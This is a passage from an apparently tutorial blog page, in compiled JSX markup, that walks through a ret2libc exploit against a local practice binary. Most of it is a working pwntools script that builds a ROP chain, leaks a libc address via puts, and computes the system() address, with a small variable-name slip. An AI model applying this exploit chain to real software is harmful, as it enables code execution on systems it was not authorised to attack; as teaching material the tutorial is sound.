`,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"puts_in_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"back_to_main_fn "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400771"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Okay, now that we have our addresses, let's input them into our payload. We'll have to pack them in an exploit format, the ",(0,l.jsx)(e.em,{children:"raw format"})," rather than send bytes translated by python. Luckily we're using the ",(0,l.jsx)(e.code,{children:"pwntools"})," package and can use the ",(0,l.jsx)(e.code,{children:"p64()"})," function to do this for us."]}),` `,(0,l.jsx)(e.p,{children:"Let's update our entire script to send the payload and set up so we can interact with it."}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" gdb, p64, process"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"gdb."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"attach"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(p)"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"136"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"junk "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'A'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"pop_rdi "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000400913"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_in_got_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00601028"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"puts_in_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"back_to_main_fn "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400771"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(pop_rdi),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(setbuf_in_got_plt),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(puts_in_plt),"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"p64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(back_to_main_fn)"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"''"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"join"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"sendline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Lastly, before we run it, let's grab the output of the program and print it out on our screen. We'll print out the address of the beginning of the ",(0,l.jsx)(e.code,{children:"libc"})," library:"]}),` `,(0,l.jsxs)(e.p,{children:["We'll do this by grabbing the line that was printed by ",(0,l.jsx)(e.em,{children:"our"})," call to the ",(0,l.jsx)(e.code,{children:"puts()"})," function with one more call to ",(0,l.jsx)(e.code,{children:"recvline()"})," and let's strip the newline using the ",(0,l.jsx)(e.code,{children:"strip()"})," function. Also, since it's being packed in the little-endian output, we're going to decode it (simplified version of this language is that we'll receive the raw bytes) using the ",(0,l.jsx)(e.code,{children:"u64()"})," function from ",(0,l.jsx)(e.code,{children:"pwntools"}),". Since unpacking the bytes requires us to be some offset of 8 bytes, we'll also justify it with null bytes using ",(0,l.jsx)(e.code,{children:"ljust()"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" gdb, log, p64, process, u64"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"() "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Get the first line of response"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"() "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Grab the next response line"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"strip"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"u64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(leak."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ljust"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"8"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:", "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\x00"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"))"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"leaked: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(leak)"}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"}"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Finally, our script is ready to run as well as giving us the address of the beginning of the loaded ",(0,l.jsx)(e.code,{children:"libc"})," library in memory with the first function of ",(0,l.jsx)(e.code,{children:"puts"}),":"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591645/ari-io/writing/heres-a-libc/addr-of-libc_z5whxl.png",alt:"address of libc"})}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"u64"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(leak."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ljust"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"8"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:", "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\x00"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")) "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# 0x7fd9b44b0540"})]})})})}),` `,(0,l.jsx)(e.p,{children:"Great, now we're in the home-stretch of breaking the binary."}),` `,(0,l.jsxs)(e.h3,{id:"grabbing-the-system-by-the-horns",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#grabbing-the-system-by-the-horns",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Grabbing the system by the horns"]}),` `,(0,l.jsxs)(e.p,{children:["Now that we have the offset of where ",(0,l.jsx)(e.code,{children:"libc"})," is loaded in memory, let's grab a function from memory and find the base of the library. To find the base address loaded in memory, we'll grab the actual address of ",(0,l.jsx)(e.code,{children:"scanf()"})," that is the address in the binary."]}),` `,(0,l.jsxs)(e.p,{children:["We can use ",(0,l.jsx)(e.code,{children:"readelf()"})," which prints out symbols of the binary. Although we've identified the address of the beginning of ",(0,l.jsx)(e.code,{children:"libc"})," already, it's a good idea to find the beginning of the ",(0,l.jsx)(e.code,{children:"libc"})," in memory. Let's calculate it by finding the symbol using ",(0,l.jsx)(e.code,{children:"readelf"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"readelf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-s"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./libc.so.6"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" | "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"grep"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"setbuf"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"2185:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000088540"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"10"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"FUNC"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"GLOBAL"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"DEFAULT"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"13"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"setbuf@@GLIBC_2.2.5"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Great, so we've found that the beginning of ",(0,l.jsx)(e.code,{children:"setbuf"})," is right at the start of where ",(0,l.jsx)(e.code,{children:"libc"})," starts. Let's subtract the memory for where ",(0,l.jsx)(e.code,{children:"setbuf"})," is loaded from our leak we found earlier and we'll have"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000088540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"-"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" setbuf_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"base address of libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(base_address_of_libc)"}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"}"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Now we can use the same approach and find the ",(0,l.jsx)(e.code,{children:"system()"})," libc function."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"readelf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-s"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./libc.so.6"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" | "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"grep"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"system"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"1403:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"000000000004"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"f4e0"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"45"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"FUNC"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"WEAK"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"DEFAULT"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"13"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"system@@GLIBC_2.2.5"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Now that we have the beginning of the loaded ",(0,l.jsx)(e.code,{children:"libc"})," in memory, we can take the address of the system function and add the offset of the memory symbol from the ",(0,l.jsx)(e.code,{children:"base_address_of_libc"}),", then we'll have the address of the loaded ",(0,l.jsx)(e.code,{children:"system"})," function. Let's add this to our script:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000088540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"-"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" setbuf_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"base address of libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(base_address_of_libc)"}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"}"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_addr_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"4f4e0"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_address "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" system_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"system address in libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(system\\"}),(0,l.jsx)(e.span,{style:{color:"#FFFFFF"},children:'_address)=}")'})]})]})})}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.strong,{children:"Sanity check a second time"})," (another way of calculating offsets)"]}),` `,(0,l.jsxs)(e.p,{children:["Before we move on, let's confirm our addresses we've captured thus far by using ",(0,l.jsx)(e.code,{children:"gdb"}),". In this little section, we're going to do a tiny little dive into ",(0,l.jsx)(e.code,{children:"gdb"})," debugging. Although debugging with ",(0,l.jsx)(e.code,{children:"gdb"})," and ",(0,l.jsx)(e.code,{children:"gef"})," is a topic on its own, it's a good idea to start to get a little familiar with address checking and this is a mighty fine time to start."]}),` `,(0,l.jsxs)(e.blockquote,{children:[` 